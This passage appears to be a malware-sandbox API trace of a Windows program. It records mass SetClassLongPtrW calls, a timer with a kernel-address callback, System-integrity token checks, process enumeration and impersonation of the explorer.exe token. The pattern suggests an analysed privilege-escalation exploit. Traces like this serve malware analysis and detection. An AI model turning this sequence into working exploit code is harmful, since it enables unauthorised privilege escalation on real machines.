0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e50, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e58, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e60, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e68, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e70, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e78, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e80, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e88, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e90, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e98, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11ea0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11ea8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.320] SetClassLongPtrW (hWnd=0x11eb0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.320] SetClassLongPtrW (hWnd=0x11eb8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.320] SetClassLongPtrW (hWnd=0x11ec0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.320] SetClassLongPtrW (hWnd=0x11ec8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ed0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ed8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ee0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ee8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ef0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11ef8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f00, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f08, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f10, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f18, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f20, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f28, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f30, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f38, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f40, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f48, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f50, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f58, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f60, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f68, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f70, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f78, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f80, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f88, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f90, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11f98, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fa0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fa8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fb0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fb8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fc0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fc8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fd0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.321] SetClassLongPtrW (hWnd=0x11fd8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x11fe0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x11fe8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x11ff0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x11ff8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12000, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12008, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12010, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12018, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12020, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12028, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12030, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12038, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12040, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12048, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12050, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12058, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12060, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12068, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12070, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12078, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12080, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12088, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12090, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12098, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120a0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120a8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120b0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120b8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120c0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120c8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120d0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120d8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120e0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120e8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120f0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x120f8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.322] SetClassLongPtrW (hWnd=0x12100, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12108, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12110, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12118, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12120, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12128, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12130, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12138, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12140, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12148, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12150, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12158, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12160, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12168, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12170, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12178, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12180, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12188, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12190, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x12198, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121a0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121a8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121b0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121b8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121c0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.323] SetClassLongPtrW (hWnd=0x121c8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.324] GetCurrentThreadId () returned 0xee0 [0053.324] __ClientCallWinEventProc () [0053.324] GetCurrentThreadId () returned 0xee0 [0053.324] __ClientCallWinEventProc () [0053.325] GetCurrentThreadId () returned 0xee0 [0053.325] __ClientCallWinEventProc () [0053.325] NtUserCallOneParam (Param=0x11dd8, Routine=0x32) returned 0x2acd900 [0053.325] RtlAllocateHeap (HeapHandle=0x28a0000, Flags=0x8, Size=0x2000) returned 0x28a12f0 [0053.325] NtUserDefSetText () returned 0x1 [0053.325] HeapFree (in: hHeap=0x28a0000, dwFlags=0x0, lpMem=0x28a12f0 | out: hHeap=0x28a0000) returned 1 [0053.325] NtUserDefSetText () returned 0x1 [0053.325] _snwprintf (in: _Dest=0x37b4f0, _Count=0x3f, _Format="\\BaseNamedObjects\\%S" | out: _Dest="\\BaseNamedObjects\\Global\\4a8b22e1-e0b1-466f-b467-e74f23fd634f") returned 61 [0053.325] RtlInitUnicodeString (in: DestinationString=0x37b570, SourceString="\\BaseNamedObjects\\Global\\4a8b22e1-e0b1-466f-b467-e74f23fd634f" | out: DestinationString="\\BaseNamedObjects\\Global\\4a8b22e1-e0b1-466f-b467-e74f23fd634f") [0053.325] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\4a8b22e1-e0b1-466f-b467-e74f23fd634f") returned 0x108 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserInternalGetWindowText () returned 0xb [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserInternalGetWindowText () returned 0xb [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserInternalGetWindowText () returned 0xb [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtUserThunkedMenuItemInfo () returned 0x1 [0053.326] NtCreateTimer (in: TimerHandle=0x261f9e8, DesiredAccess=0x1f0003, ObjectAttributes=0x0, TimerType=0x0 | out: TimerHandle=0x261f9e8*=0x10c) returned 0x0 [0053.326] NtSetTimer (in: TimerHandle=0x10c, DueTime=0x261f9e0, TimerApcRoutine=0xfffff900c3e09000, TimerContext=0x37b400, WakeTimer=0, Period=0, PreviousState=0x0 | out: PreviousState=0x0) returned 0x0 [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] NtUserInternalGetWindowText () returned 0xb [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] NtUserThunkedMenuItemInfo () returned 0x1 [0053.327] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0054.332] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x7d0) returned 0x0 [0054.332] PostMessageA (hWnd=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0054.333] UnhookWinEvent (hWinEventHook=0x800fb) returned 1 Thread: id = 4 os_tid = 0xeec Thread: id = 5 os_tid = 0xef0 Thread: id = 6 os_tid = 0xef4 Thread: id = 7 os_tid = 0xf00 Thread: id = 22 os_tid = 0xf6c [0110.261] GetCurrentProcess () returned 0xffffffff [0110.261] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3a7ff3c | out: TokenHandle=0x3a7ff3c*=0x238) returned 1 [0110.261] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x19, TokenInformation=0x3a7feec, TokenInformationLength=0x4c, ReturnLength=0x3a7ff38 | out: TokenInformation=0x3a7feec, ReturnLength=0x3a7ff38) returned 1 [0110.261] IsValidSid (pSid=0x3a7fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.261] CloseHandle (hObject=0x238) returned 1 [0110.261] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0110.266] Process32FirstW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.267] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.268] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.268] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.269] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.269] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.270] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.271] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.271] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.272] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.273] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.273] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.274] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.275] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.275] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.276] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.276] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.277] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.278] Process32NextW (in: hSnapshot=0x238, lppe=0x3a7fcf8 | out: lppe=0x3a7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.278] CloseHandle (hObject=0x238) returned 1 [0110.278] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x238 [0110.279] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0xf01ff, TokenHandle=0x3a7ff6c | out: TokenHandle=0x3a7ff6c*=0x254) returned 1 [0110.279] ImpersonateLoggedOnUser (hToken=0x254) returned 1 [0110.279] CloseHandle (hObject=0x238) returned 1 [0110.279] CloseHandle (hObject=0x254) returned 1 [0110.279] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x3a7ff80, lpCompletionKey=0x3a7ff7c, lpOverlapped=0x3a7ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff80, lpCompletionKey=0x3a7ff7c, lpOverlapped=0x3a7ff84) returned 1 [0128.314] GetCurrentProcess () returned 0xffffffff [0128.314] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3a7ff64 | out: TokenHandle=0x3a7ff64*=0x0) returned 0 Thread: id = 23 os_tid = 0xf70 [0110.280] GetCurrentProcess () returned 0xffffffff [0110.280] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3b7ff3c | out: TokenHandle=0x3b7ff3c*=0x254) returned 1 [0110.280] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x19, TokenInformation=0x3b7feec, TokenInformationLength=0x4c, ReturnLength=0x3b7ff38 | out: TokenInformation=0x3b7feec, ReturnLength=0x3b7ff38) returned 1 [0110.280] IsValidSid (pSid=0x3b7fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.280] CloseHandle (hObject=0x254) returned 1 [0110.280] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0110.284] Process32FirstW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.285] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.285] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.286] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.287] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.287] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.288] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.289] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.289] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.290] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.291] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: 